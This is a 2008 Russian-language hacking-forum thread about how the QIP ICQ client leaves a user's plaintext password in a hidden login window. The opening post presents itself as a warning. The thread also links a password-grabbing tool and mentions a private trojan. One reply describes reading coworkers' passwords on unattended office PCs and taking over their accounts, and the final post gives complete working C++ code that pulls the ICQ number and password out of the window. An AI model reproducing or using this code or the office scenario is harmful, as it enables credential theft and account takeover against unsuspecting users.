PDA

Просмотр полной версии : [Заблуждение] Пароль в ICQ клиенте


white
29.08.2008, 00:16
[ Бытует мнение, что если в ICQ клиенте не ставить
галку "Сохранить пароль", то троян не сможет найти
пароль от ICQ номера, т.к. он не сохранён в системе.
Как следствие из этого, пользователи пренебрегают
файерволом. ]


Сегодня раз и навсегда мы разберёмся, как обстоят дела с паролем в ICQ клиентах.
Рассматривать вопрос будем на примере QIP, но это касается всех ICQ клиентов.

Многие уже скачали программу QIP PassCatcher v0.1b, которая, как следует из описания, помогает вспомнить забытый пароль.

http://s47.radikal.ru/i118/0808/f1/9e466ad8bed7.gif
QIP PassCatcher v0.1b (http://rapidshare.com/files/134577812/qip_PassCatcher.rar)

Но мало кто, разобрался каким образом программа вспоминает пароль, может и потому, что тема на ру-борде вскоре после создания была удалена.
В этом нам поможет разобраться sai_NT (http://forum.antichat.ru/member.php?u=36489):
Гуглил я тогда API методы работы с окнами. Обнаружил одну незначительную на первый взгляд "оплоху", и заключается она в том, что окно авторизации не закрывается на протяжении всей работы приложения qip.exe, причем даже после удачной авторизации на сервере AOL и дальнейшей работы с этим клиентом. Другими словами мы пользуемся QIP'ом: отсылаем сообщения, принимаем файлы и т.п., а окно себе находится в режиме Hide.

Чем это грозит? Вроде как и ничем особенным, висит окно да и пусть - ведь не мешает. А вот тут-то следует теперь сказать почему это все я назвал "оплохой". Окно (class TManForm) продолжая свое скрытое существование хранит в себе в полях логин/номер айсику (class TComboBox) и пароль (class TEdit), хотя и пароль вроде как под звездочками, но это преграда только для человеских глаз, а не для машинного кода.

Вроде как и это не проблема, если комп не протроянен, за ним никто кроме вас не работает. Но так бывает не всегда. А значит нужно предохраняться и быть на чеку.

Теперь пару слов о стратегии получения логина и пасса от аси. API метод FindWindow возвращает дескриптор окна по имени его класса, т.е. этим кодом
[code Delphi]
var
h : THandle;
begin
h := FindWindow('TManForm', 0);
[/code Delphi]
дескриптор окна авторизации квипа у нас в кармане. Но этого мало и мы идем далее. Поле логина и пароля находятся в рамке (class TGroupBox), теперь найдя дескриптор окна легко можно получить дескриптор рамки, затем дескрипторы поля списка с вписанным в него логином и дескриптор поля со "звездочным" паролем. Код далее приводить не буду. Я думаю понятно по каким причинам.
Отмечу только, что пароль только отбражается звездочками, а на самом деле в этом поле находятся те заветные символы, из которых и складывается пасс.
проверено от клиента 79xxx до 8070


Это предупреждение для тех, кто ещё не в курсе.
Ведь программа, написанная на, изложенном выше принципе, не распознаётся антивирусом. И защититься от этого можно файерволом, который заблокирует попытку отправки отчёта, нового трояна, реализованного на этом принципе...

© white special for ZloY.ORG

†CyraX†
29.08.2008, 00:54
Видел троян "Аромис" - который тащит не сохранённые пароли от QIP внедряясь в процесc.

ЗЫ - Трой приватный.

sai_NT
29.08.2008, 01:28
благодяря коллективному разуму выяснилось, что этот метод работает если пароль вбивать руками (ну кто-как, я руками) каждый раз, а если сохранять его, то этот метод не подходит, но тогда приступает к делу пин4

NFM
29.08.2008, 02:11
в августовском хакере была статья тоже про кип. пароль в открытом виде храниться в одной и тоже секций памяти [00e20000-00f1ffff]

Karantin
06.09.2008, 23:31
Cain & Abel покажет пасс в edite или просто соснифать можно.

Sn@k3
07.09.2008, 09:40
Непонимаю зачем вообще он нужен, был бы он консольный, дабы удалённо использовать, а так ... и Ы как тут связано "Вспоминание пароля" если я вошел под ним?))))))

Gen1rus
07.09.2008, 09:50
Непонимаю зачем вообще он нужен, был бы он консольный, дабы удалённо использовать, а так ... и Ы как тут связано "Вспоминание пароля" если я вошел под ним?))))))
На работе подходишь к любому компу, когда никого нету, смотришь в трей, цветочек icq отсутствует, нажимаешь ctrl + F11, выскакивает окошко: "Введите пароль", запускаешь QIP PassCatcher , смотришь пароль, хопа открывается аска шестизначная, меняешь пароль и радушься =)
А мало ли, бывает такое что в аську зашел, пароль поменял и забыл... QIP PassCatcher как раз поможет.

Sn@k3
07.09.2008, 10:03
Что значит введите пароль, ты прогу вообще качал и знаешь её принцып??? она показывает пароль когда ты В АСЬКЕ!, а не в твоем случае когда надо только пройти =\. вот поэтому надо бы её на консоль перенести.

white
07.09.2008, 11:53
Sn@k3 эта программа была написана для тех, кто поставил галочку "сохранить пароль" и забыл пароль
сама прога показывает принцип, который уже реализуется в троянах
программа как пример для ознакомления

Gen1rus
07.09.2008, 12:03
Что значит введите пароль, ты прогу вообще качал и знаешь её принцып??? она показывает пароль когда ты В АСЬКЕ!, а не в твоем случае когда надо только пройти =\. вот поэтому надо бы её на консоль перенести.
это было про дополнительную возможость Qip - antiboss + пароль (комбинация клавиш ctrl + F11)
QIP PassCatcher показывает пароль в этом случае.

n0153r
08.09.2008, 08:49
Вот реализация :

void main()
{
// Объявим переменные, необходимые для работы
HWND hManForm,hGroupBox,hEdit,hComboBox; // Идентификаторы форм
char* pUIN; // Указатель на буфер для UIN
char* pPass; // Указатель на буфер для пароля
int iUIN; // Длина UIN
int iPass; // Длина пароля

// Найдем окно диалога авторизации
hManForm=FindWindow("TManForm",0);
// Расположенная на нем группа элементов управления
hGroupBox=FindWindowEx(hManForm,0,"TGroupBox",0);

// Список с UIN'ами
hComboBox=FindWindowEx(hGroupBox,0,"TComboBox",0);
// Получим длину текста в списке
iUIN=SendMessage(hComboBox, WM_GETTEXTLENGTH, 0, 0)+1;
// Выделяем необходимую память для буфера
pUIN=(char*)LocalAlloc(0, iUIN);
// Получим непосредственно текст
SendMessage(hComboBox, WM_GETTEXT, iUIN, (long)pUIN);

// Поле с паролем
hEdit=FindWindowEx(hGroupBox,0,"TEdit",0);
// Дальше все по аналогии с UIN'ом
iPass=SendMessage(hEdit, WM_GETTEXTLENGTH, 0, 0)+1;
pPass=(char*)LocalAlloc(0, iPass);
SendMessage(hEdit, WM_GETTEXT, iPass, (long)pPass);

//Выведем что получилось
cout << "[!!!]Found for: "<< pUIN << "\tPassword: " << pPass;

// Освободим память
LocalFree(pUIN);
LocalFree(pPass);
}

© xakep.ru